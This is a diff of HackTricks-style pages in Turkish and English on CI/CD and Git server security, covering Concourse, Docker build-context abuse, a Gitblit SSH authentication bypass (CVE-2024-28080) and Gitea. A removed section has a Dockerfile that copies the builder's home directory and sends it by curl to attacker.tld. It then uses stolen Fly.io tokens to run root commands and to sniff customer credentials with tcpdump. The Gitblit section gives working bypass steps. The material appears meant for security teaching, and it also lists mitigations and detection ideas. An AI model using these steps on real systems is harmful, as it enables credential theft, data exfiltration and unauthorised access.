- [`load_var` adımı](https://concourse-ci.org/load-var-step.html) bir değeri [local var](https://concourse-ci.org/vars.html#local-vars) içine yükler
|
||||
- [`in_parallel` adımı](https://concourse-ci.org/in-parallel-step.html) adımları paralel olarak çalıştırır
|
||||
- [`do` adımı](https://concourse-ci.org/do-step.html) adımları sırayla çalıştırır
|
||||
- [`across` adım modifikasyonu](https://concourse-ci.org/across-step.html#schema.across) bir adımı birden fazla kez çalıştırır; her bir değişken değeri kombinasyonu için bir kez
|
||||
- [`try` adımı](https://concourse-ci.org/try-step.html) bir adımı çalıştırmayı dener ve adım başarısız olsa bile başarılı olur
|
||||
Several different type of steps can be used:
|
||||
|
||||
Her [step](https://concourse-ci.org/steps.html) bir [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) içinde **kendi konteynerinde** çalışır. Konteyner içinde istediğiniz her şeyi çalıştırabilirsiniz _(yani testlerimi çalıştır, bu bash scriptini çalıştır, bu resmi oluştur, vb.)_. Dolayısıyla, beş adımı olan bir işiniz varsa, Concourse her adım için bir tane olmak üzere beş konteyner oluşturacaktır.
|
||||
- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
|
||||
- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
|
||||
- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
|
||||
- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
|
||||
- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
|
||||
- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
|
||||
- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
|
||||
- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
|
||||
|
||||
Bu nedenle, her adımın çalıştırılması gereken konteyner türünü belirtmek mümkündür.
|
||||
Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
|
||||
|
||||
Therefore, it's possible to indicate the type of container each step needs to be run in.
|
||||
|
||||
### Simple Pipeline Example
|
||||
|
||||
### Basit Pipeline Örneği
|
||||
```yaml
|
||||
jobs:
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
- name: simple
|
||||
plan:
|
||||
- task: simple-task
|
||||
privileged: true
|
||||
config:
|
||||
# Tells Concourse which type of worker this task should run on
|
||||
platform: linux
|
||||
image_resource:
|
||||
type: registry-image
|
||||
source:
|
||||
repository: busybox # images are pulled from docker hub by default
|
||||
run:
|
||||
path: sh
|
||||
args:
|
||||
- -cx
|
||||
- |
|
||||
sleep 1000
|
||||
echo "$SUPER_SECRET"
|
||||
params:
|
||||
SUPER_SECRET: ((super.secret))
|
||||
```
|
||||
|
||||
```bash
|
||||
@@ -123,21 +130,25 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
|
||||
# From another console
|
||||
fly -t tutorial intercept --job pipe-name/simple
|
||||
```
|
||||
**127.0.0.1:8080** adresini kontrol edin, pipeline akışını görmek için.
|
||||
|
||||
### Çıktı/girdi pipeline'ı ile Bash scripti
|
||||
Check **127.0.0.1:8080** to see the pipeline flow.
|
||||
|
||||
**Bir görevin sonuçlarını bir dosyada kaydetmek** ve bunun bir çıktı olduğunu belirtmek, ardından bir sonraki görevin girdisini önceki görevin çıktısı olarak belirtmek mümkündür. Concourse'un yaptığı şey, **önceki görevin dizinini yeni görevde monte etmek ve önceki görev tarafından oluşturulan dosyalara erişmektir**.
|
||||
### Bash script with output/input pipeline
|
||||
|
||||
### Tetikleyiciler
|
||||
It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
|
||||
|
||||
Görevleri her seferinde manuel olarak tetiklemek zorunda değilsiniz, bunları her seferinde çalışacak şekilde programlayabilirsiniz:
|
||||
### Triggers
|
||||
|
||||
- Bir süre geçtikten sonra: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- Ana dalda yeni commitler olduğunda: [Git resource](https://github.com/concourse/git-resource)
|
||||
- Yeni PR'ler: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Uygulamanızın en son görüntüsünü almak veya göndermek: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
|
||||
|
||||
Ana dalda yeni commitler tetikleyen bir YAML pipeline örneğini kontrol edin: [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
|
||||
- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
|
||||
- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
|
||||
- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
|
||||
|
||||
Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,101 +0,0 @@
|
||||
# Docker Build Context'in Hosted Builders'da Kötüye Kullanımı (Path Traversal, Exfil, and Cloud Pivot)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## TL;DR
|
||||
|
||||
Eğer bir CI/CD platformu veya hosted builder katkıda bulunanların Docker build context yolunu ve Dockerfile yolunu belirtmesine izin veriyorsa, genellikle context'i üst dizine (ör. "..") ayarlayarak host dosyalarını build context'in bir parçası haline getirebilirsiniz. Ardından, saldırgan kontrollü bir Dockerfile, builder kullanıcısının home'unda bulunan sırları COPY ile exfiltrate edebilir (ör. ~/.docker/config.json). Çalınan registry token'ları provider'ın control-plane APIs'ine karşı da çalışabilir ve org-genel RCE'ye olanak sağlayabilir.
|
||||
|
||||
## Saldırı yüzeyi
|
||||
|
||||
Pek çok hosted builder/registry servisi, kullanıcı tarafından gönderilen image'ları build ederken kabaca şunları yapar:
|
||||
- Repo-level bir config'i okur; bu config şunları içerir:
|
||||
- build context path (Docker daemon'a gönderilir)
|
||||
- Dockerfile path bu context'e göre göreceli olarak
|
||||
- Belirtilen build context dizinini ve Dockerfile'ı Docker daemon'a kopyalar
|
||||
- Image'ı build eder ve hosted service olarak çalıştırır
|
||||
|
||||
Eğer platform build context'i canonicalize edip kısıtlamazsa, bir kullanıcı context'i repository dışındaki bir konuma (path traversal) ayarlayabilir; bu durumda build kullanıcısı tarafından okunabilir herhangi bir host dosyası build context'in bir parçası olur ve Dockerfile içinde COPY ile erişilebilir hale gelir.
|
||||
|
||||
Sık gözlemlenen pratik kısıtlamalar:
|
||||
- Dockerfile seçilen context path içinde bulunmalı ve yolu önceden biliniyor olmalıdır.
|
||||
- Build kullanıcısının context'e dahil edilen dosyaları okuma izni olmalıdır; özel device dosyaları kopyayı bozabilir.
|
||||
|
||||
## PoC: Path traversal via Docker build context
|
||||
|
||||
Example malicious server config declaring a Dockerfile within the parent directory context:
|
||||
```yaml
|
||||
runtime: "container"
|
||||
build:
|
||||
dockerfile: "test/Dockerfile" # Must reside inside the final context
|
||||
dockerBuildPath: ".." # Path traversal to builder user $HOME
|
||||
startCommand:
|
||||
type: "http"
|
||||
configSchema:
|
||||
type: "object"
|
||||
properties:
|
||||
apiKey:
|
||||
type: "string"
|
||||
required: ["apiKey"]
|
||||
exampleConfig:
|
||||
apiKey: "sk-example123"
|
||||
```
|
||||
Notlar:
|
||||
- ".." kullanımı çoğunlukla builder kullanıcısının home dizinine (ör. /home/builder) çözülür; bu dizin genellikle hassas dosyalar içerir.
|
||||
- Dockerfile'ınızı repo'nun dizin adı altında yerleştirin (ör. repo "test" → test/Dockerfile) böylece genişletilmiş parent context içinde kalır.
|
||||
|
||||
## PoC: host context'i ingest edip exfiltrate eden Dockerfile
|
||||
```dockerfile
|
||||
FROM alpine
|
||||
RUN apk add --no-cache curl
|
||||
RUN mkdir /data
|
||||
COPY . /data # Copies entire build context (now builder’s $HOME)
|
||||
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
|
||||
```
|
||||
Genellikle $HOME'den kurtarılan hedefler:
|
||||
- ~/.docker/config.json (registry auths/tokens)
|
||||
- Diğer cloud/CLI önbellekleri ve yapılandırmalar (ör. ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
|
||||
|
||||
İpucu: Depoda .dockerignore olsa bile, zayıf platform-tarafı context seçimi daemon'a ne gönderileceğini hâlâ belirler. Platform, seçilen yolu repo'nuzun .dockerignore dosyasını değerlendirmeden önce daemon'a kopyalarsa, host dosyaları hâlâ açığa çıkabilir.
|
||||
|
||||
## Aşırı ayrıcalıklı token'larla cloud pivot (örnek: Fly.io Machines API)
|
||||
|
||||
Bazı platformlar container registry ve control-plane API için kullanılabilen tek bir bearer token verir. Eğer bir registry token'ını exfiltrate ederseniz, sağlayıcı API'sine karşı deneyin.
|
||||
|
||||
~/.docker/config.json içindeki çalınmış token kullanılarak Fly.io Machines API'ye örnek API çağrıları:
|
||||
|
||||
Bir organizasyondaki uygulamaları listele:
|
||||
```bash
|
||||
curl -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps?org_slug=smithery"
|
||||
```
|
||||
Bir uygulamanın herhangi bir makinesinde root olarak bir komut çalıştır:
|
||||
```bash
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Sonuç: token yeterli ayrıcalıklara sahipse tüm barındırılan uygulamalarda organizasyon çapında remote code execution.
|
||||
|
||||
## İhlal edilmiş barındırılan servislerden gizli verilerin çalınması
|
||||
|
||||
Barındırılan sunucularda exec/RCE ile müşteri tarafından sağlanan gizli bilgileri (API keys, tokens) toplayabilir veya prompt-injection attacks düzenleyebilirsiniz. Örnek: tcpdump kurun ve port 8080'deki HTTP trafiğini yakalayarak gelen kimlik bilgilerini çıkarın.
|
||||
```bash
|
||||
# Install tcpdump inside the machine
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
|
||||
|
||||
# Capture traffic
|
||||
curl -s -X POST -H "Authorization: Bearer fm2_..." \
|
||||
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
|
||||
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
|
||||
```
|
||||
Yakalanan istekler genellikle headers, bodies veya query params içinde istemci kimlik bilgileri içerir.
|
||||
|
||||
## References
|
||||
|
||||
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
|
||||
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
@@ -1,12 +1,12 @@
|
||||
# Gitblit Güvenliği
|
||||
# Gitblit Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Gitblit Nedir
|
||||
## What is Gitblit
|
||||
|
||||
Gitblit, Java ile yazılmış kendi barındırılan bir Git sunucusudur. Tek başına bir JAR olarak veya servlet containers içinde çalıştırılabilir ve Git over SSH için gömülü bir SSH servisi (Apache MINA SSHD) ile birlikte gelir.
|
||||
Gitblit is a self‑hosted Git server written in Java. It can run as a standalone JAR or in servlet containers and ships an embedded SSH service (Apache MINA SSHD) for Git over SSH.
|
||||
|
||||
## Konular
|
||||
## Topics
|
||||
|
||||
- Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)
|
||||
|
||||
@@ -14,8 +14,8 @@ Gitblit, Java ile yazılmış kendi barındırılan bir Git sunucusudur. Tek ba
|
||||
gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
|
||||
{{#endref}}
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
- [Gitblit project](https://gitblit.com/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@@ -2,98 +2,102 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Özet
|
||||
## Summary
|
||||
|
||||
CVE-2024-28080, Apache MINA SSHD ile entegrasyon sırasında oturum durumunun yanlış işlenmesinden kaynaklanan Gitblit’in embedded SSH servisi içinde bir authentication bypass’ıdır. Bir kullanıcı hesabında en az bir SSH public key kayıtlıysa, kullanıcı adını ve o kullanıcının public key’lerinden herhangi birini bilen bir saldırgan, private key ve parola olmadan authenticate olabilir.
|
||||
CVE-2024-28080 is an authentication bypass in Gitblit’s embedded SSH service due to incorrect session state handling when integrating with Apache MINA SSHD. If a user account has at least one SSH public key registered, an attacker who knows the username and any of that user’s public keys can authenticate without the private key and without the password.
|
||||
|
||||
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
|
||||
- Fixed: 1.10.0
|
||||
- Sömürmek için gereksinimler:
|
||||
- Git over SSH örnekte etkinleştirilmiş olmalı
|
||||
- Hedef hesabın Gitblit üzerinde en az bir SSH public key’i kayıtlı olmalı
|
||||
- Saldırgan hedefin kullanıcı adını ve anahtarlarından birini bilmeli (çoğunlukla keşfedilebilir, ör. https://github.com/<username>.keys)
|
||||
- Requirements to exploit:
|
||||
- Git over SSH enabled on the instance
|
||||
- Victim account has at least one SSH public key registered in Gitblit
|
||||
- Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/<username>.keys)
|
||||
|
||||
## Kök neden (state leaks between SSH methods)
|
||||
## Root cause (state leaks between SSH methods)
|
||||
|
||||
RFC 4252’ye göre, public‑key authentication iki aşamada ilerler: sunucu önce sağlanan public key’in bir kullanıcı adı için kabul edilebilir olup olmadığını kontrol eder ve yalnızca bir challenge/response ile signature alındıktan sonra kullanıcıyı authenticate eder. MINA SSHD’de, PublickeyAuthenticator iki kere çağrılır: key acceptance aşamasında (henüz signature yok) ve daha sonra client signature’ı gönderdiğinde.
|
||||
In RFC 4252, public‑key authentication proceeds in two phases: the server first checks whether a provided public key is acceptable for a username, and only after a challenge/response with a signature does it authenticate the user. In MINA SSHD, the PublickeyAuthenticator is invoked twice: on key acceptance (no signature yet) and later after the client returns a signature.
|
||||
|
||||
Gitblit’in PublickeyAuthenticator’ı ilk, imza öncesi çağrıda session bağlamını değiştirerek authenticate edilmiş UserModel’i session’a bağladı ve true döndürerek ("key acceptable") anahtarı kabul etti. Kimlik doğrulama daha sonra password’a döndüğünde, PasswordAuthenticator bu değiştirilmiş session durumuna güvendi ve parolayı doğrulamadan işlemi kısalttı, true döndürdü. Sonuç olarak, aynı kullanıcı için önceki bir public‑key "acceptance" sonrası herhangi bir parola (boş dahil) kabul edildi.
|
||||
Gitblit’s PublickeyAuthenticator mutated the session context on the first, pre‑signature call by binding the authenticated UserModel to the session and returning true ("key acceptable"). When authentication later fell back to password, the PasswordAuthenticator trusted that mutated session state and short‑circuited, returning true without validating the password. As a result, any password (including empty) was accepted after a prior public‑key "acceptance" for the same user.
|
||||
|
||||
Yüksek seviyeli hatalı akış:
|
||||
High‑level flawed flow:
|
||||
|
||||
1) Client kullanıcı adı + public key sunar (henüz signature yok)
|
||||
2) Sunucu anahtarın kullanıcıya ait olduğunu tanır ve erken şekilde kullanıcıyı session’a iliştirir, true döner ("acceptable")
|
||||
3) Client sign yapamaz (private key yok), bu yüzden kimlik doğrulama password’a döner
|
||||
4) Password auth session’da zaten bir kullanıcı olduğunu görür ve koşulsuz olarak başarı döndürür
|
||||
1) Client offers username + public key (no signature yet)
|
||||
2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable")
|
||||
3) Client cannot sign (no private key), so auth falls back to password
|
||||
4) Password auth sees a user already present in session and unconditionally returns success
|
||||
|
||||
## Adım‑adım exploitation
|
||||
## Step‑by‑step exploitation
|
||||
|
||||
- Hedefin kullanıcı adını ve public key’lerinden birini topla:
|
||||
- GitHub public key’leri https://github.com/<username>.keys adresinde sunar
|
||||
- Genel sunucular sıklıkla authorized_keys’i açığa çıkarır
|
||||
- OpenSSH’i sadece public yarıyı sunacak şekilde yapılandırın, böylece signature üretimi başarısız olur; bu, server tarafında public‑key acceptance yolunu tetiklerken kimlik doğrulamanın password’a geri dönmesini zorlar.
|
||||
- Collect a victim’s username and one of their public keys:
|
||||
- GitHub exposes public keys at https://github.com/<username>.keys
|
||||
- Public servers often expose authorized_keys
|
||||
- Configure OpenSSH to present only the public half so signature generation fails, forcing a fallback to password while still triggering the public‑key acceptance path on the server.
|
||||
|
||||
Example SSH client config (no private key available):
|
||||
|
||||
```sshconfig
|
||||
# ~/.ssh/config
|
||||
Host gitblit-target
|
||||
HostName <host-or-ip>
|
||||
User <victim-username>
|
||||
PubkeyAuthentication yes
|
||||
PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
HostName <host-or-ip>
|
||||
User <victim-username>
|
||||
PubkeyAuthentication yes
|
||||
PreferredAuthentications publickey,password
|
||||
IdentitiesOnly yes
|
||||
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
|
||||
```
|
||||
Bağlanın ve parola isteminde Enter tuşuna basın (veya herhangi bir dize yazın):
|
||||
|
||||
Connect and press Enter at the password prompt (or type any string):
|
||||
|
||||
```bash
|
||||
ssh gitblit-target
|
||||
# or Git over SSH
|
||||
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
|
||||
```
|
||||
|
||||
Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state.
|
||||
|
||||
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
|
||||
|
||||
## Etkiler
|
||||
## Impact
|
||||
|
||||
- En az bir kayıtlı SSH public key'e sahip herhangi bir Gitblit kullanıcısının tam taklidi
|
||||
- Kurbanın izinleri doğrultusunda depolara okuma/yazma erişimi (source exfiltration, unauthorized pushes, supply‑chain risks)
|
||||
- Hedeflenen kullanıcı bir admin ise potansiyel yönetici etkisi
|
||||
- Tamamen ağ üzerinden istismar; brute force veya private key gerekmez
|
||||
- Full impersonation of any Gitblit user with at least one registered SSH public key
|
||||
- Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks)
|
||||
- Potential administrative impact if targeting an admin user
|
||||
- Pure network exploit; no brute force or private key required
|
||||
|
||||
## Tespit fikirleri
|
||||
## Detection ideas
|
||||
|
||||
- SSH loglarını, publickey denemesinin ardından boş veya çok kısa bir parola ile başarılı bir password authentication görülen dizileri inceleyin
|
||||
- Aynı kullanıcı adı için publickey method'un unsupported/mismatched key material sunduğu ve hemen ardından parola ile doğrudan başarılı olunduğu akışları arayın
|
||||
- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password
|
||||
- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username
|
||||
|
||||
## Önlemler
|
||||
## Mitigations
|
||||
|
||||
- Gitblit'i v1.10.0+ sürümüne yükseltin
|
||||
- Yükseltme yapılana kadar:
|
||||
- Gitblit üzerinde Git over SSH'yi devre dışı bırakın, veya
|
||||
- SSH servisine ağ erişimini kısıtlayın, ve
|
||||
- Yukarıda tanımlanan şüpheli desenleri izleyin
|
||||
- İhlal şüphesi varsa etkilenen kullanıcı kimlik bilgilerini değiştirin
|
||||
- Upgrade to Gitblit v1.10.0+
|
||||
- Until upgraded:
|
||||
- Disable Git over SSH on Gitblit, or
|
||||
- Restrict network access to the SSH service, and
|
||||
- Monitor for suspicious patterns described above
|
||||
- Rotate affected user credentials if compromise is suspected
|
||||
|
||||
## Genel: SSH auth method state‑leakage (MINA/OpenSSH‑based services) kötüye kullanımı
|
||||
## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
|
||||
|
||||
Desen: Eğer bir sunucunun public‑key authenticator'ı pre‑signature "key acceptable" aşamasında kullanıcı/oturum durumunu değiştirir ve diğer authenticators (ör. password) bu duruma güvenirse, kimlik doğrulamayı şu şekilde atlayabilirsiniz:
|
||||
Pattern: If a server’s public‑key authenticator mutates user/session state during the pre‑signature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
|
||||
|
||||
- Hedef kullanıcı için meşru bir public key sunmak (private key yok)
|
||||
- İstemciyi imzalama başarısızlığına zorlayarak sunucunun password'a geri dönmesini sağlamak
|
||||
- Password authenticator, leaked state nedeniyle kısa devre yaparken herhangi bir password sunmak
|
||||
- Presenting a legitimate public key for the target user (no private key)
|
||||
- Forcing the client to fail signing so the server falls back to password
|
||||
- Supplying any password while the password authenticator short‑circuits on leaked state
|
||||
|
||||
Pratik ipuçları:
|
||||
Practical tips:
|
||||
|
||||
- Büyük ölçekli public key toplama: https://github.com/<username>.keys, organizasyon dizinleri, takım sayfaları, leaked authorized_keys gibi yaygın kaynaklardan public key'leri çekin
|
||||
- İmzalama başarısızlığına zorlamak (istemci‑tarafı): IdentityFile'ı sadece .pub dosyasına işaret edin, IdentitiesOnly yes olarak ayarlayın, PreferredAuthentications'ın publickey sonra password'u içerecek şekilde kalmasını sağlayın
|
||||
- MINA SSHD entegrasyon tuzakları:
|
||||
- PublickeyAuthenticator.authenticate(...) signature doğrulama sonrası yol imzayı teyit edene kadar kullanıcı/oturum durumunu eklememelidir
|
||||
- PasswordAuthenticator.authenticate(...) önceki, tamamlanmamış bir authentication method sırasında değiştirilen herhangi bir durumdan başarı çıkarsaması yapmamalıdır
|
||||
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
|
||||
- Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
|
||||
- MINA SSHD integration pitfalls:
|
||||
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
|
||||
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
|
||||
|
||||
İlgili protokol/tasarım notları ve literatür:
|
||||
- SSH userauth protokolü: RFC 4252 (publickey method iki‑aşamalı bir süreçtir)
|
||||
- Erken kabul oraklları ve auth yarışları üzerine tarihsel tartışmalar, örn. OpenSSH davranışı etrafındaki CVE‑2016‑20012 çekişmeleri
|
||||
Related protocol/design notes and literature:
|
||||
- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
|
||||
- Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -1,130 +1,141 @@
|
||||
# Gitea Güvenliği
|
||||
# Gitea Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Gitea Nedir
|
||||
## What is Gitea
|
||||
|
||||
**Gitea**, Go dilinde yazılmış **kendinize ait, topluluk tarafından yönetilen hafif bir kod barındırma** çözümüdür.
|
||||
**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
|
||||
|
||||
.png>)
|
||||
|
||||
### Temel Bilgiler
|
||||
### Basic Information
|
||||
|
||||
{{#ref}}
|
||||
basic-gitea-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Laboratuvar
|
||||
## Lab
|
||||
|
||||
To run a Gitea instance locally you can just run a docker container:
|
||||
|
||||
Yerel olarak bir Gitea örneği çalıştırmak için sadece bir docker konteyneri çalıştırabilirsiniz:
|
||||
```bash
|
||||
docker run -p 3000:3000 gitea/gitea
|
||||
```
|
||||
Port 3000'e bağlanarak web sayfasına erişebilirsiniz.
|
||||
|
||||
Ayrıca bunu kubernetes ile çalıştırabilirsiniz:
|
||||
Connect to port 3000 to access the web page.
|
||||
|
||||
You could also run it with kubernetes:
|
||||
|
||||
```
|
||||
helm repo add gitea-charts https://dl.gitea.io/charts/
|
||||
helm install gitea gitea-charts/gitea
|
||||
```
|
||||
## Kimlik Doğrulaması Olmadan Sayım
|
||||
|
||||
- Kamu reposu: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Kayıtlı kullanıcılar: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Kayıtlı Organizasyonlar: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
**Varsayılan olarak Gitea yeni kullanıcıların kayıt olmasına izin verir.** Bu, yeni kullanıcılara diğer organizasyonlar/kullanıcılar reposu üzerinde özel bir erişim sağlamaz, ancak **giriş yapmış bir kullanıcı** **daha fazla repo veya organizasyonu görüntüleyebilir.**
|
||||
- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
|
||||
- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
|
||||
- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
|
||||
|
||||
## Dahili Sömürü
|
||||
Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
|
||||
|
||||
Bu senaryoda bir github hesabına erişim sağladığınızı varsayacağız.
|
||||
## Internal Exploitation
|
||||
|
||||
### Kullanıcı Kimlik Bilgileri/Web Çerezi ile
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
|
||||
Eğer bir şekilde bir organizasyon içindeki bir kullanıcı için kimlik bilgilerine (veya bir oturum çerezine) sahipseniz, **sadece giriş yapabilir** ve hangi **izinlere sahip olduğunuzu**, hangi **reposlarda** bulunduğunuzu, **diğer kullanıcıları listeleyebilir** ve **reposların nasıl korunduğunu** kontrol edebilirsiniz.
|
||||
### With User Credentials/Web Cookie
|
||||
|
||||
**2FA kullanılabileceğini** unutmayın, bu nedenle bu bilgilere yalnızca **o kontrolü geçebiliyorsanız** erişebilirsiniz.
|
||||
If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
|
||||
> [!NOTE]
|
||||
> Eğer **`i_like_gitea` çerezini çalmayı başarırsanız** (şu anda SameSite: Lax ile yapılandırılmıştır) kimlik bilgilerine veya 2FA'ya ihtiyaç duymadan **kullanıcıyı tamamen taklit edebilirsiniz.**
|
||||
> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
|
||||
### Kullanıcı SSH Anahtarı ile
|
||||
### With User SSH Key
|
||||
|
||||
Gitea, **kullanıcıların** kendi adlarına kod dağıtmak için **kimlik doğrulama yöntemi olarak kullanılacak SSH anahtarları** ayarlamalarına izin verir (2FA uygulanmaz).
|
||||
Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
|
||||
|
||||
Bu anahtar ile, kullanıcının bazı ayrıcalıklara sahip olduğu **reposlarda değişiklikler yapabilirsiniz**, ancak bunu gitea api'sine erişmek için kullanamazsınız. Ancak, erişiminiz olan reposlar ve kullanıcı hakkında bilgi almak için **yerel ayarları sayabilirsiniz:**
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
Eğer kullanıcı adını gitea kullanıcı adı olarak yapılandırdıysa, hesabında ayarladığı **açık anahtarları** _https://github.com/\<gitea_username>.keys_ adresinden erişebilirsiniz, bulduğunuz özel anahtarın kullanılabilir olduğunu doğrulamak için bunu kontrol edebilirsiniz.
|
||||
|
||||
**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda ayarlanabilir. Bu anahtara erişimi olan herkes **bir depodan projeleri başlatabilir**. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğu hakkında bilgi verecektir.
|
||||
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
|
||||
#### GPG Anahtarları
|
||||
